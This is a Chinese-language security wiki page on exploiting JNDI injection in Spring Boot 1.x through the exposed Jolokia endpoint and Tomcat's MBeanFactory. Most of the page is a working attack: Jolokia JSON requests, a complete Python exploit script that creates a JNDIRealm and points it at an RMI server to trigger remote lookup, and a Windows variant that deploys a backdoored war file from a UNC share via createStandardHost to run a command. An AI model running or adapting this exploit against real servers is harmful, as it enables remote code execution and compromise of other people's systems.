menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 120-Spring Boot chevron_right 002-Spring Boot JNDI注入.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    002-Spring Boot JNDI注入.md
    10.75 KB / 2021-07-17 00:01:20
        # Spring Boot JNDI注入
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    Spring Boot 1 - 1.4
    
    ### 三、复现过程
    
    漏洞分析
    
    spring Boot 内嵌了一个 Tomcat,所以在 MBean 列表中列出了 Tomcat 的 MBean。通过漫长的寻找(花了我两三天的晚上),找到了几个比较有意思的且感觉可以利用的 MBean operation。
    
    * Tomcat:type=MBeanFactory createJNDIRealm -> JNDI Injection
    * Tomcat:type=MBeanFactory createJDBCRealm -> JNDI Injection
    * Tomcat:type=MBeanFactory createDataSourceRealm -> JNDI Injection
    * Tomcat:type=MBeanFactory createUserDatabaseRealm -> JNDI Injection
    * Tomcat:type=MBeanFactory createValve -> Create Valve (File Writting, JNDI Injection)
    
    这里举一个 createUserDatabaseRealm 的例子:
    
    
    ```bash
      FILE: tomcat-embed-core-8.5.15-sources.jar!\org\apache\catalina\mbeans\MBeanFactory.java
       public String createUserDatabaseRealm(String parent, String resourceName)
           throws Exception {
    
            // Create a new UserDatabaseRealm instance
           UserDatabaseRealm realm = new UserDatabaseRealm();
           realm.setResourceName(resourceName);
           
           // Add the new instance to its parent component
           ObjectName pname = new ObjectName(parent);
           Container container = getParentContainerFromParent(pname);
           // Add the new instance to its parent component
           container.setRealm(realm);
           // Return the corresponding MBean name
           ObjectName oname = realm.getObjectName();
           // FIXME getObjectName() returns null
           //ObjectName oname =
           //    MBeanUtils.createObjectName(pname.getDomain(), realm);
           if (oname != null) {
               return (oname.toString());
           } else {
               return null;
           }
    
       }
    ```
    
    调用 setter 把 resourceName 写入。接着在 start Realm 的时候,会调用以下函数:
    
    FILE: tomcat-embed-core\8.5.15-embed-core-8.5.15-sources.jar!.java
    
    
    ```java
      @Override
       protected void startInternal() throws LifecycleException {
    
           try {
               Context context = getServer().getGlobalNamingContext();
               database = (UserDatabase) context.lookup(resourceName);
           } catch (Throwable e) {
               ExceptionUtils.handleThrowable(e);
               containerLog.error(sm.getString("userDatabaseRealm.lookup",
                                               resourceName),
                                  e);
               database = null;
           }
           if (database == null) {
               throw new LifecycleException
                   (sm.getString("userDatabaseRealm.noDatabase", resourceName));
           }
           
           super.startInternal();
    
       }
    ```
    
    是不是非常熟悉的场景?context.lookup(resourceName),而 resourceName 可控,那么可以直接JNDI 注入了。但是遗憾的是getServer().getGlobalNamingContext() 返回的是 null,所以在lookup的时候抛了 NullPointer 的错误。还有一些奇奇怪怪的 Bug,比如利用 createValve 创建一个JDBCAccessLogValve,但是利用 Jolokia 设置其 driverName 的时候,由于 driverName 没有getter,导致 Jolokia 不能正常设置;再比如 createJDBCRealm 的时候,由于这个方法接受的参数和MBean 导出(mbeans-descriptors.xml)的配置文件内写的参数数量不一致导致无法调用这个 MBean operation。
    
    **createJNDIRealm**
    
    在多次尝试后,最终我盯上了 createJNDIRealm 这个方法。
    
    FILE: tomcat-embed-core-8.5.15-sources.jar!.java
    
    
    ```java
    public String createJNDIRealm(String parent)
        throws Exception {
    
         // Create a new JNDIRealm instance
        JNDIRealm realm = new JNDIRealm();
    
        // Add the new instance to its parent component
        ObjectName pname = new ObjectName(parent);
        Container container = getParentContainerFromParent(pname);
        // Add the new instance to its parent component
        container.setRealm(realm);
        // Return the corresponding MBean name
        ObjectName oname = realm.getObjectName();
    
        if (oname != null) {
            return (oname.toString());
        } else {
            return null;
        }
    }
    ```
    
    这里只传入了 parent。利用 Burpsuite 先创建这个 Realm。
    
    
    ```bash
    POST /jolokia/ HTTP/1.1
    Host: localhost
    Content-Type: application/json
    Content-Length: 133
    {
        "type": "EXEC",
        "mbean": "Tomcat:type=MBeanFactory",
        "operation": "createJNDIRealm",
        "arguments": ["Tomcat:type=Engine"]
    }
    ```
    
    创建成功后,我们查看这个 Realm 的 MBean 信息:
    
    
    ```java
    realmPath=/realm0,type=Realm: {
        op: {...},
        attr: {
            userPassword: {},
            ...
            connectionURL: {
                rw: true,
                type: "java.lang.String",
                desc: "The connection URL for the server we will contact"
            },
            roleNested: {},
            userSearch: {},
            connectionTimeout: {},
            authentication: {},
            contextFactory: {
                rw: true,
                type: "java.lang.String",
                desc: "The JNDI context factory for this Realm"
            },
            userPattern: {},
            ...
        },
        class: "org.apache.tomcat.util.modeler.BaseModelMBean",
        desc: "Implementation of Realm that works with a directory server a..."
    }
    ```
    
    注意到两个有意思的属性,connectionURL 和 contextFactory。查看 JNDIRealm 的源码:
    
    
    ```java
    FILE: 
    
       protected Hashtable<String, String> getDirectoryContextEnvironment() {
            Hashtable<String, String> env = new Hashtable();
            if (this.containerLog.isDebugEnabled() && this.connectionAttempt == 0) {
                this.containerLog.debug("Connecting to URL " + this.connectionURL);
            } else if (this.containerLog.isDebugEnabled() && this.connectionAttempt > 0) {
                this.containerLog.debug("Connecting to URL " + this.alternateURL);
            }
            env.put("java.naming.factory.initial", this.contextFactory);
        if (this.connectionName != null) {
            env.put("java.naming.security.principal", this.connectionName);
        }
    
        if (this.connectionPassword != null) {
            env.put("java.naming.security.credentials", this.connectionPassword);
        }
        
        if (this.connectionURL != null && this.connectionAttempt == 0) {
            env.put("java.naming.provider.url", this.connectionURL);
        } else if (this.alternateURL != null && this.connectionAttempt > 0) {
            env.put("java.naming.provider.url", this.alternateURL);
        }
        
        ...
        
        return env;
    }
    
    private DirContext createDirContext(Hashtable<String, String> env) throws NamingException {
        return (DirContext)(this.useStartTls ? this.createTlsDirContext(env) : new InitialDirContext(env));
    }
    ```
    
    可见 java.naming.factory.initial 和 java.naming.provider.url 我们都可以通过 MBean 来进行修改,接着在 createDirContext 方法,利用刚才的 env 创建了 InitialDirContext 对象。最终可以造成JNDI 注入。于是我满怀欣喜的搭建好 RMI Service,却发现爆了这么一个错误:
    
    
    ```java
    javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
        at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495) ~[na:1.8.0_121]
        at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138) ~[na:1.8.0_121]
        at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) ~[na:1.8.0_121]
        at com.sun.jndi.url.rmi.rmiURLContextFactory.getUsingURL(rmiURLContextFactory.java:71) ~[na:1.8.0_121]
        at com.sun.jndi.url.rmi.rmiURLContextFactory.getObjectInstance(rmiURLContextFactory.java:56) ~[na:1.8.0_121]
        at com.sun.jndi.rmi.registry.RegistryContextFactory.URLToContext(RegistryContextFactory.java:102) ~[na:1.8.0_121]
        at com.sun.jndi.rmi.registry.RegistryContextFactory.getInitialContext(RegistryContextFactory.java:69) ~[na:1.8.0_121]
        ...
    ```
    
    漏洞复现
    
    由于 Spring Boot 内嵌了 Tomcat 和 Tomcat EL,可以直接使用文章中的 Exploit。最终 Exploit 触发分为五个步骤。
    
    * 创建 JNDIRealm
    * 写入 connectionURL 为你的 RMI Service URL
    * 写入 contextFactory 为 RegistryContextFactory
    * 停止 Realm
    * 启动 Realm 以触发 JNDI 注入
    
    最终 Exploit 如下:
    
    
    ```bash
    import requests, sys, time, pprint
    
     url = sys.argv[1]
    
     create_realm = {
         "mbean": "Tomcat:type=MBeanFactory",
         "type": "EXEC",
         "operation": "createJNDIRealm",
         "arguments": ["Tomcat:type=Engine"]
     }
    
     wirte_factory = {
         "mbean": "Tomcat:realmPath=/realm0,type=Realm",
         "type": "WRITE",
         "attribute": "contextFactory",
         "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
     }
    
     write_url = {
         "mbean": "Tomcat:realmPath=/realm0,type=Realm",
         "type": "WRITE",
         "attribute": "connectionURL",
         "value": "rmi://localhost:1097/Object"
     }
    
     stop = {
         "mbean": "Tomcat:realmPath=/realm0,type=Realm",
         "type": "EXEC",
         "operation": "stop",
         "arguments": []
     }
    
     start = {
         "mbean": "Tomcat:realmPath=/realm0,type=Realm",
         "type": "EXEC",
         "operation": "start",
         "arguments": []
     }
    
     flow = [create_realm, wirte_factory, write_url, stop, start]
    
     for i in flow:
         print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
         requests.post(url, json=i).json()
    ```
    
    补充
    
    利用UNC部署war文件(只能用于windows)
    
    在 Tomcat Host Manager 这里可以利用 UNC 来部署 war 文件。实际上对于Tomcat:type=MBeanFactory 的createStandardHost,和 Host Manager 这里调用的是相同的方法。所以根据文章所述的方法,我们同样可以在Jolokia 里重现。不过可惜的是这里只对 Windows 有效。 首先去 spring-boot 的 Github 下载 spring-boot-samples-traditional,在 web.xml 里添加如下内容:
    
    
    ```xml
    <servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>
            org.apache.catalina.servlets.DefaultServlet
        </servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/default</url-pattern>
    </servlet-mapping>
    ```
    
    然后修改 WebConfig.java,在 dispatcherServlet 添加执行命令的代码:
    
    
    ```bash
    @Bean
    // Only used when running in embedded servlet
    public DispatcherServlet dispatcherServlet() throws Exception {
        Runtime.getRuntime().exec("calc");
        return new DispatcherServlet();
    }
    ```
    
    接着打包成 war 文件放在远程的共享服务器上面,发送如下请求即可:
    
    
    ```bash
    POST /jolokia HTTP/1.1
    Host: localhost
    Content-Type: application/json
    Content-Length: 192
    
    {
        "mbean": "Tomcat:type=MBeanFactory",
        "type": "EXEC",
        "operation": "createStandardHost",
        "arguments": ["Tomcat:type=Engine", "test2", "\\127.0.0.1\test", true, true, true, true]
    }
    ```
    
    links
    file_download